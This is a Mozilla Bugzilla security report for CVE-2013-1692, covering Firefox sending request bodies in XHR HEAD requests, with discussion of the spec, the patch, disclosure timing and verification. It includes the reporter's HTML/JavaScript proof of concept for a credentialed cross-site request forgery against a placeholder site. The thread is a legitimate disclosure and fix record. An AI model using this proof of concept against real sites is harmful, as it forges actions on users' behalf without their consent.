Last Comment Bug 866915 - (CVE-2013-1692) Do not send data XHR HEAD request
(CVE-2013-1692)
: Do not send data XHR HEAD request
Status: VERIFIED FIXED
[adv-main22+][adv-esr1707+]
: sec-high
Product: Core
Classification: Components
Component: DOM: Core & HTML (show other bugs)
: 20 Branch
: x86 Mac OS X
: -- normal (vote)
: mozilla24
Assigned To: Olli Pettay [:smaug]
:
Mentors:
Depends on:
Blocks:
  Show dependency treegraph
 
Reported: 2013-04-29 13:59 PDT by Johnathan Kuskos
Modified: 2014-11-19 19:48 PST (History)
11 users (show)
abillings: sec‑bounty+
ryanvm: in‑testsuite?
See Also:
Crash Signature:
(edit)
QA Whiteboard:
Iteration: ---
Points: ---
Has Regression Range: ---
Has STR: ---
wontfix
wontfix
+
verified
+
verified
verified
22+
verified
22+
fixed
wontfix
affected


Attachments
RequestResponse.png (99.18 KB, image/png)
2013-04-29 13:59 PDT, Johnathan Kuskos
no flags Details
no data with head (947 bytes, patch)
2013-05-07 14:00 PDT, Olli Pettay [:smaug]
jonas: review+
akeybl: approval‑mozilla‑aurora+
akeybl: approval‑mozilla‑beta+
akeybl: approval‑mozilla‑esr17+
akeybl: approval‑mozilla‑b2g18+
abillings: sec‑approval+
Details | Diff | Review
with a test (2.22 KB, patch)
2013-05-09 13:39 PDT, Olli Pettay [:smaug]
no flags Details | Diff | Review
ff22 beta behavior (38.39 KB, image/png)
2013-05-23 08:51 PDT, Johnathan Kuskos
no flags Details

Description Johnathan Kuskos 2013-04-29 13:59:54 PDT
Created attachment 743269 [details]
RequestResponse.png

User Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_8_2) AppleWebKit/537.31 (KHTML, like Gecko) Chrome/26.0.1410.65 Safari/537.31

Steps to reproduce:

During a penetration test for a client, I found that CSRF was possible on a piece of their functionality when sent as a HEAD.  In the latest version of chrome, they send a preflight request for this HEAD request, but Firefox 20 is not.  I will attach the Request and Response with the sensitive client information omitted.  My CSRF Proof of Concept has xmlhttp.withCredentials = true;.  

I've supplied two things to you, the code that allowed for my exploit to work, as well as the request response pair that happens when the request is sent.  I've omitted sensitive information about the application this worked on because I do not own it, but if needed I'll try to spin up an environment that is similar to what I'm working on to recreate it.  Since I can only upload one file, I'm going to paste my Proof of Concept code here, and attach an image of the actual exploit taking place after the form request was made.


<!-- 
Johnathan Kuskos

This file is psuedocode for a successful CSRF I was able to exploit for a client.
The file was hosted on my personal site at malfiles.jkuskos.com and targetted a URL that i've renamed "example.com" for sake of my client's privacy.  I will attempt to supply as much information as I can, as I believe that a PreFlight request should not have allowed this to take place in Firefox 20.0.  
-->

<!DOCTYPE html>
<html>
<head>
<script>
function loadXMLDocHEAD()
{
var xmlhttp;
if (window.XMLHttpRequest)
  {// code for IE7+, Firefox, Chrome, Opera, Safari
  xmlhttp=new XMLHttpRequest();
  }
else
  {// code for IE6, IE5
  xmlhttp=new ActiveXObject("Microsoft.XMLHTTP");
  }
xmlhttp.onreadystatechange=function()
  {
  if (xmlhttp.readyState==4 && xmlhttp.status==200 || xmlhttp.status==302)
    {
    document.getElementById("myDiv").innerHTML=xmlhttp.responseText;
    }
  }

var url = "https://example.com";//true victim omitted
var params = "body=";//true parameters omitted
xmlhttp.withCredentials = true;
xmlhttp.open("HEAD", url,true);
xmlhttp.setRequestHeader("Content-type", "application/x-www-form-urlencoded");
xmlhttp.send(params);
}


</script>
</head>
<body>


<h1>HEAD request</h1>
<button type="button" onclick="loadXMLDocHEAD()">Send HEAD</button>
<div id="myDiv"></div>

</body>
</html>





Actual results:

The CORS request was successfully sent.


Expected results:

A Preflight request should have first sent an options request to check for if the HTTP verb was allowed, as specified here:  https://developer.mozilla.org/en-US/docs/HTTP/Access_control_CORS#Preflighted_requests
Comment 1 Daniel Veditz [:dveditz] 2013-05-01 10:34:48 PDT
If we are violating the spec here this is probably sec-moderate or sec-high since we're potentially contributing to CSRF attacks on sites that wouldn't be allowed without the XS-XHR feature. Can I get Anne or Olli to opine here?
Comment 2 Anne (:annevk) 2013-05-01 10:39:35 PDT
HEAD is a simple method so can be done without preflight: http://www.w3.org/TR/cors/#simple-method This is an exception to type of requests that can be made with <form>, but it was a conscious one.
Comment 3 Anne (:annevk) 2013-05-01 10:40:36 PDT
Note that per http://xhr.spec.whatwg.org/#the-send%28%29-method the data passed to send() is ignored for HEAD / GET. Are we ignoring that requirement maybe?
Comment 4 Johnathan Kuskos 2013-05-01 11:24:17 PDT
Looking at steps 3 and 4 of the send() method, it appears to be what I encountered.  Even though  the request verb was HEAD, "data" did not get set to null, and the request body was successfully included.
Comment 5 Anne (:annevk) 2013-05-02 02:29:00 PDT
(It also seems like a bug that Chrome does a preflight for HEAD. I guess once we figure out if there's a bug here we should clarify what the standard should say with each other.)
Comment 6 Johnathan Kuskos 2013-05-02 09:44:43 PDT
Backtracking a bit to preflight, I think the issue is that yes, HEAD is a simple method.  However, withCredentials=true.  Because withCredentials=true, regardless of if HEAD is simple or not, a preflight must go out so that the browser isn't contributing to CSRF.  If the application doesn't respond with the appropriate headers to be used in preflight, that's the application's fault. 

As it currently stands, I would just use Firefox as my exploit browser for this type of CSRF vulnerability where verb tampering is allowed.  I'll be spending today doing some research on this, but I believe Chrome is sending a preflight because withCredentials=true, and not because it's just a HEAD method.
Comment 7 Anne (:annevk) 2013-05-02 09:57:09 PDT
Credentials has no bearing on this. Even without credentials it'd still be considered problematic (if considered problematic to begin with) for intranets.
Comment 8 Olli Pettay [:smaug] 2013-05-07 13:39:54 PDT
So is the bug here that we send data with HEAD?
Comment 9 Olli Pettay [:smaug] 2013-05-07 13:41:39 PDT
Should the spec whitelist the cases when data should be sent?
Comment 10 Anne (:annevk) 2013-05-07 13:45:35 PDT
http://xhr.spec.whatwg.org/#the-send%28%29-method is pretty clear it should only be possible to be non-null when the request method is not HEAD or GET, no?
Comment 11 Olli Pettay [:smaug] 2013-05-07 14:00:49 PDT
Created attachment 746622 [details] [diff] [review]
no data with head
Comment 12 Jonas Sicking (:sicking) 2013-05-08 16:56:11 PDT
Comment on attachment 746622 [details] [diff] [review]
no data with head

Review of attachment 746622 [details] [diff] [review]:
-----------------------------------------------------------------

Tests needed though.
Comment 13 Olli Pettay [:smaug] 2013-05-09 05:41:30 PDT
Comment on attachment 746622 [details] [diff] [review]
no data with head

[Security approval request comment]
How easily could an exploit be constructed based on the patch?
Well, the problem is obvious

Do comments in the patch, the check-in comment, or tests included in the patch paint a bulls-eye on the security problem?
The check-in comment should be about updating implementation to follow the XHR spec

Which older supported branches are affected by this flaw?
All

Do you have backports for the affected branches? If not, how different, hard to create, and risky will they be?
The patch should apply everywhere.

How likely is this patch to cause regressions; how much testing does it need?
Probably not too regression risky, but hard to say if some website is doing odd Gecko only XHR handling.
Comment 14 Lukas Blakk [:lsblakk] use ?needinfo 2013-05-09 10:20:54 PDT
This doesn't look to be a respin 21 driver as it's only sec-high so marking wontfix there, we can look at uplift to FF22 once sec-approval is evaluated.
Comment 15 Al Billings [:abillings] 2013-05-09 10:25:04 PDT
Comment on attachment 746622 [details] [diff] [review]
no data with head

I think this is ok for m-c right now. It is a sec-high but not the most dangerous thing in the world right now. sec-approval+.
Comment 16 Olli Pettay [:smaug] 2013-05-09 13:39:45 PDT
Created attachment 747580 [details] [diff] [review]
with a test
Comment 17 Johnathan Kuskos 2013-05-13 13:48:57 PDT
Since progress is being made on this, may I ask when an acceptable time would be to disclose this to other security researchers?
Comment 18 Daniel Veditz [:dveditz] 2013-05-13 15:41:01 PDT
This isn't going to make it into the release tomorrow so our preference would be to keep it quiet until we can issue the fix in six weeks with Firefox 22.

But does the change we make fix the problem you see? We're still not doing a pre-flight request which we think is correct according to the spec. We were sending a body incorrectly but that may not be the cause of your CSRF.
Comment 19 Johnathan Kuskos 2013-05-13 16:09:09 PDT
If the body is always nulled out for a head request, I do believe that this would no longer be a problem. I initially thought that the behavior might have been a preflight issue because the mozilla documentation I referenced in my original report stated "methods other than GET or POST" as being necessary for preflight, however Anne mentioned that was a conscious implementation.  

The cause of my CSRF works in two parts.
1) The browser allowed me to send it cross origin.
2) The application accepted it and processed it as a POST.

Part 2 is the fault of the application.  Part 1 wouldn't be possible if the body is null because the application would then treat it as a GET, which is an allowed simple method and doesn't require preflight.  I don't see how this could further be exploited with a nulled body as a HEAD request.  

Thanks for the input on disclosure.  I have a blog post drafted but will sit on it until the fix is live.
Comment 21 Ryan VanderMeulen [:RyanVM] 2013-05-15 18:39:28 PDT
https://hg.mozilla.org/mozilla-central/rev/8df06e62ea12
Comment 25 Ioana (away) 2013-05-23 06:41:43 PDT
I'm not seeing any difference in headers between Firefox 21 and 22 when using the reporter's testcase (I'm using the HTTPFox add-on for seeing the headers).

What should the differences be? Or am I not looking in the right place?
Comment 26 Johnathan Kuskos 2013-05-23 08:51:53 PDT
Created attachment 753314 [details]
ff22 beta behavior

Here's a new test page that I've been using http://malfiles.jkuskos.com/xhr.html

I checked the FF22 beta to see if this is fixed, and it looks to me like a head request is still being made with post data the first time a page that contains the request is loaded.  It won't be made on repeated visits to the same resource after that, but if the cache is cleared, it will be made again.

In this traffic history, #103 is my first request, which then sends a head request with post data.  #105, #106, and #109 are more requests to the same resource.  After #109, I clear my cache and request the page again, which then sends a head request with post data.
Comment 27 Matt Wobensmith [:mwobensmith][:matt:] 2013-06-19 11:24:51 PDT
Johnathan, referring to comment 26, I can't reproduce this behavior post-patch. Can you try again with a later build?

I can easily see the problem in builds of FF21/FF22 pre-patch.

I've confirmed that no headers are sent with an XHR HEAD request using the following builds:

FF17esr 2013-06-18
FF22 2013-05-25
FF23 2013-05-25
FF24 2013-06-13
Comment 28 Matt Wobensmith [:mwobensmith][:matt:] 2013-06-19 11:32:43 PDT
For developers and security folks - we'll need to accurately describe this issue in an advisory. I think that we've learned that the issue isn't the lack of a preflight request, but rather that we shouldn't be sending data in an XHR HEAD request.

Clarifications welcomed.
Comment 29 Anne (:annevk) 2013-06-19 19:25:01 PDT
The summary in comment 28 seems accurate to me.
Comment 30 Johnathan Kuskos 2013-06-21 17:04:47 PDT
Matt, In the version of the FF22 beta that's available at http://www.mozilla.org/en-US/firefox/beta/ I'm not seeing this behavior anymore.
Comment 31 Matt Wobensmith [:mwobensmith][:matt:] 2013-06-21 17:18:10 PDT
Great news, Johnathan - thanks!

Note You need to log in before you can comment on or make changes to this bug.